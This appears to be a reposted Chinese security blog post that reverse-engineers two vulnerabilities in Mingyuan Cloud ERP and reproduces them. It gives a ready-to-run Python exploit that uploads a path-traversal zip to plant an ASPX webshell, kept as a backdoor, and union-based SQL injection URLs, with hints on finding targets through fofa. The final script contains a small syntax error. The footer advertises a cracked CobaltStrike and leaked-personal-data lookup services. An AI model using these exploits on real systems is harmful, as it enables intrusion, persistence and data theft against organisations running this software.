明源云漏洞分析和复现

admin 2023年8月16日20:08:04评论935 views字数 3461阅读11分32秒阅读模式

根据护网情报发现明源云存在一个文件上传漏洞,但是这数据包,属实有点看不明白。直接利用也好像没办法利用

明源云漏洞分析和复现


文件上传

经过分析,发现这个漏洞是存在于另外一个端口的某个服务里的(这也就是为嘛有人复现不出来的原因,还有一个原因是因为不知道这个数据包是啥)

并且好像还就是微步前段时间通报的明源云文件上传漏洞

通过找朋友白嫖,白嫖到了源码


漏洞分析

查看疑似存在漏洞的文件 myunke/ApiUpdateTool/ApiUpdate.ashx 的内容,其对应 class(类)为 ErpApi.Web.ApiUpdateTool.ApiUpdate

明源云漏洞分析和复现

通过将 bin 目录拖入 dnspy,并搜索程序集 ErpApi.Web.ApiUpdateTool.ApiUpdate,找到了该类实现的具体逻辑

明源云漏洞分析和复现

当在浏览器地址栏访问 myunke/ApiUpdateTool/ApiUpdate.ashx, asp.net 运行时将调用处理程序的 ProcessRequest 方法来处理请求

因此这里实际上是要先分析 ProcessRequest 的方法实现

明源云漏洞分析和复现

明源云漏洞分析和复现

传入参数 apiocode 的值,通过 this.GetPostData() 获取到用户发送 post 请求时的数据

通过 context.Request.PhysicalApplicationPath 获取到当前正在执行的文件 (myunke/ApiUpdateTool/ApiUpdate.ashx) 的根目录的系统路径。然后该路径和 Assembly 拼接,得到一个新的目录

通过 this.GetPostData() 获取的数据,将该数据保存在 context.Request.PhysicalApplicationPath+"Assembly"/apiocode 的值 .zip 下

即 D:\XXX\myunke\Assembly\a.zip

在通过调用 UnZip.Decode 方法对该路径下的 zip 进行解压,将 zip 里的文件释放出来

由于压缩包里的文件可控,里面可以放置可执行的脚本文件,因此导致了任意代码执行漏洞的产生

注:保存在服务器上的压缩包的名字和 apiocode 的值有关


漏洞复现

这里编写一个脚本方便进行发送数据包

import requests


api_url = "http://x.x.x.x/myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=1"
file_path = "test.zip"  
with open(file_path, "rb") as file:
    file_content = file.read()

response = requests.post(api_url, data=file_content)

print(response.text)

新建一个压缩包为 test.zip

明源云漏洞分析和复现

运行脚本后,发包提示 {"Message":"OK"}

明源云漏洞分析和复现

说明按预期走完流程

明源云漏洞分析和复现

访问 /myunke/Assembly/1/test.txt和/myunke/Assembly/1.zip

明源云漏洞分析和复现

均访问成功,说明漏洞也利用成功,该漏洞也真实存在

此时就开始传 shell 进行验证了

明源云漏洞分析和复现

并连接成功

明源云漏洞分析和复现

在网传 payload 里面

可以看见这里是做了三次的跨目录,并传到的 fdccloud/_/ 目录下,即 fdccloud 应用程序里

明源云漏洞分析和复现

明源云漏洞分析和复现

猜测网传 payload 为什么要这么处理?

1、当时服务器对上传目录做了禁止解析的操作。即在 iis 里面关闭了某个目录下运行脚本的权限。

明源云漏洞分析和复现

2、留后门,防止马被管理员删了


最终版脚本

该脚本可制作跨目录的压缩文件

import requests
import zipfile
f = zipfile.ZipFile("my.zip"'a', zipfile.ZIP_DEFLATED)

f.write("shell.aspx","../../../fdccloud/_/demo.aspx")
f.close()


api_url = "http://x.x.x.x/myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=1"
file_path = "my.zip"  
with open(file_path, "rb") as file:
    file_content = file.read()

response = requests.post(api_url, data=file_content)

print(response.text)


SQL注入漏洞

突然朋友说,飞书文档又更新了一个 SQL 注入

明源云漏洞分析和复现

那就搜一下看看我有没有这个漏洞文件

dir /s /b VisitorWeb_XMLHTTP.aspx

明源云漏洞分析和复现

emmm,版本有点太老了吧,互联网基本都是 4.0+ 的版本

这个漏洞版本不太清楚是 1.x 还是 2.x 的了

明源云漏洞分析和复现


漏洞分析

直接搜索程序集 CgZtbWeb.VisitorWeb_XMLHTTP

明源云漏洞分析和复现

流程是先从 Page_Load 开始,传入参数 ywtype,如果值为 GetParentProjectName,那么 flag 的值为 true,进入 if 逻辑,执行 this.GetParentProjectName()

在 GetParentProjectName() 方法里,获取 ParentCode 参数的值,该值同 text2(sql语句)直接拼接,最后通过 MyDB.GetDataItemStrin(text) 方法执行该 SQL。因此才产生了该SQL注入漏洞

明源云漏洞分析和复现


漏洞复现

通过上面的分析可知,明显是可以用联合查询的方式去查询数据,也就不需要延时盲注了。


查询当前数据库用户

/CgZtbWeb/VisitorWeb/VisitorWeb_XMLHTTP.aspx?ywtype=GetParentProjectName&ParentCode=1'+union+select+current_user-- 

当前数据库用户权限是 dbo,数据库所有者权限(一般就是默认用户sa

明源云漏洞分析和复现


查询当前数据库名称

/CgZtbWeb/VisitorWeb/VisitorWeb_XMLHTTP.aspx?ywtype=GetParentProjectName&ParentCode=1'+union+select+db_name()--

明源云漏洞分析和复现


总结

两个漏洞都是真实存在的,只是可能有那么一丢丢的忽悠人。文件上传那里是直接 post 压缩包即可,文档中没注明,所以有的人复现的很不明白,比如一开始的我。

SQL注入 那个,简介说是可以获取服务器权限,我尝试过闭合语句使用 xp_cmdshell 去执行命令,结果是会 500 错误。并且使用 sqlmap 的 --os-shell 功能,也是同样的问题。暂时还不清楚是什么原因,可能获取服务器权限这句描述是有问题的。

最后,这两个漏洞都是在其他端口的其他服务上,除了第一个文件上传漏洞的网站服务特征,可以用 fofa 语法去查找,最后的 SQL 所对应网站的服务,笔者暂时没找到语句去寻找相关案例站点。只能说看运气复现了。

感谢这位文档创建人,将漏洞触发点公开了。

感谢网友让 0day 变 1day1day 变 nday

历史上,也有其他类型的网站系统出现过类似的上传(远程下载)压缩包,自解压(或调用接口解压)去达到 GetShell 的目的的漏洞。这类漏洞一般对应的功能点为“网站系统更新版本”、“主题样式更新”、“插件更新”等等。


参考

https://zkunu7syvm.feishu.cn/docx/JmKgddUcMo4Rt2xLys4c4lN2nbc


明源云漏洞分析和复现

关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境0006 获取 CobaltStrike 4.8破解版


加我微信好友,邀请你进交流群


明源云漏洞分析和复现



往期推荐

JeecgBoot SSTI以及JDBC RCE 复现

善攻者,动于九天之上。善守者,藏于九地之下!

红蓝对抗,强则强,弱则亡!

听说有些蓝队已经回家了

明日开打,你准备好了吗?

一纸文书三千动,半晌风云舞京城!

初心易得,始终难守

谈一谈我是如何入门安全的,七年安全生涯总结

可能要被封号了!

备用号,欢迎关注


明源云漏洞分析和复现

原文始发于微信公众号(刨洞安全团队):明源云漏洞分析和复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月16日20:08:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   明源云漏洞分析和复现https://cn-sec.com/archives/1960112.html

发表评论

匿名网友 填写信息